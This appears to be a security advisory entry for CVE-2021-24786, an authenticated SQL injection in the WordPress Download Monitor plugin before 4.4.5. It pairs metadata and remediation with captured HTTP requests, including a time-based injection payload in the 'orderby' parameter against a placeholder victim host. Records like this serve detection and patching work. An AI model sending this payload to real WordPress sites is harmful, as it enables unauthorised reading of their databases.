| Title | Download Monitor < 4.4.5 - SQL Injection |
|---|---|
| Author | MrHarsh |
| Severity | High |
| Impact | Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion. |
| Remediation | Update to version 4.4.5 or later. |
| CVSS Score | 7.2 |
| EPSS Score | 0.01315 |
| CVE ID | CVE-2021-24786 |
| CWE ID | CWE-89 |
| Tags | cve cve2021 wordpress wp-plugin sqli download-monitor authenticated |
The Download Monitor plugin for WordPress is vulnerable to SQL injection via the ‘orderby’ parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/10.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=YmssJr&pwd=G3huj0&wp-submit=Log+In
GET /wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date`+and+(select+sleep(8))+and+`user_id=user_id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Thunderbird/140.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24786.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24786.pcap
N/AN/A